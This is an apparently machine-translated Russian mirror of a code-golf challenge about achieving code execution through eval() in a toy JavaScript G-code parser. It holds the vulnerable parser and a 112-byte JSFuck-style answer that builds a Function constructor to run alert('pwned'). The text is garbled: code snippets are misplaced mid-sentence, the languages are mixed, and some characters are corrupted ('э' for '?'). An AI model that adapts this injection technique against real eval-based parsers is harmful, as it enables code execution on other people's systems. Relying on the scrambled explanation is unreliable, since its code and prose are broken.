Javascript — Взломать Парсер G-Code.js

Игорь1234

Здесь вы можете увидеть парсер g-кода, написанный на JavaScript для использования в микроконтроллере (например, Espruino). Но вы можете запустить его в браузере, поскольку он не использует никаких специфических функций.

 alert("pwned")

Когда ты проходишь eval to G1({X: 3, Y: 4.53, Z: 42}) , он работает gcode() . As you can see, it uses G1 X3 Y4.53 Z42 , защищенное регулярным выражением. Но несмотря на это, вы можете атаковать эту функцию и вызвать удаленное выполнение кода. Ваша цель — бежать function gcode(str){ //Removes comment, parses command name and args const [,f,args] = (str.match(/^([GM]\d+) ([^;]+)/) || [,"",""]); //A1.2 B43 C -> {A: 1.2, B: 42, C: 0} eval(f+"({"+args.replace(/(\w)([\d\.]*)/g,"$1: $2+0,")+"})"); } const G1 = console.log; gcode(prompt("crackme")); . This is code golf, so shortest working input wins

#код-гольф #javascript

Shanty

112 байт

":"

+[]

Каждый $ (U+0192), Τ (U+03A4) стоят 2 байта, они не такие же, как ASCII. ƒ=(Τ,$=+[])=>Τ[$]эΤ[$]+ƒ(Τ,++$+'5'[+[]]*(Τ[$]==':')):'' , "c: +0,o: +0,n: +0,....r: +0" .

"constructor" function will keep any gcode персонажи как есть. Итак, нам просто нужно использовать эти символы, чтобы написать здесь некоторую логику. Идея в основном основана на том, как работает JSF**k. Мы строим коды следующим образом:

alert("pwned")

Нам нужен строковый литерал "constructor" and (()=>{})["constructor"]('alert("pwned")') . Но /\W/ convert gcode к T . So we need to convert the string back. We use this function to do the convert:

f

Τ is the text inputed, $ is index. We first initialize ƒ до 0 с помощью function gcode(str){ //Removes comment, parses command name and args const [,f,args] = (str.match(/^([GM]\d+) ([^;]+)/) || [,"",""]); //A1.2 B43 C -> {A: 1.2, B: 42, C: 0} eval(f+"({"+args.replace(/(\w)([\d\.]*)/g,"$1: $2+0,")+"})"); } const G1 = console.log; payload = `G1 $:(ƒ=(Τ,$=+[])=>Τ[$]эΤ[$]+ƒ(Τ,++$+'5'[+[]]*(Τ[$]==':')):'')[ƒ('constructor')](ƒ('alert("pwned")'))()`; gcode(payload); . Then we output the character at the index position, and check if next character is G1 $:(ƒ=(Τ,$=+[])=>Τ[$]эΤ[$]+ƒ(Τ,++$+'5'[+[]]*(Τ[$]==':')):'')[ƒ('constructor')](ƒ('alert("pwned")'))() , если да, то мы пропускаем следующие 5 символов.

Благодаря l4m2 экономится несколько байт.

Похожие темы	Дата
Нужен исходник безобидного Винлокера	19.12.2024, 05:12
Конкурс Популярности — Визуализируйте Версию Логотипа Bbc Micro Совы.	19.12.2024, 05:12
Codegolf - Рассчитать Чаевые	19.12.2024, 05:12
Строка — Прочитайте Кроссворд С Изюминкой!	19.12.2024, 05:12
Codegolf — Добавьте Последовательность Фибоначи К Последовательности Лукаса	19.12.2024, 05:12
Codegolf — Создание Стола Mex	19.12.2024, 05:12
Codegolf - Я Грубый Номер?	19.12.2024, 05:12
Codegolf - Я Заслужил Замок Только Потому, Что Сегодня Вторник	19.12.2024, 05:12
Codegolf - Найдите Положительные Делители!	19.12.2024, 05:12
Царь Горы – Давай Быстрее, Тугодум!	19.12.2024, 05:12

Javascript — Взломать Парсер G-Code.js

Игорь1234

112 байт

Shanty

I AM

Интересно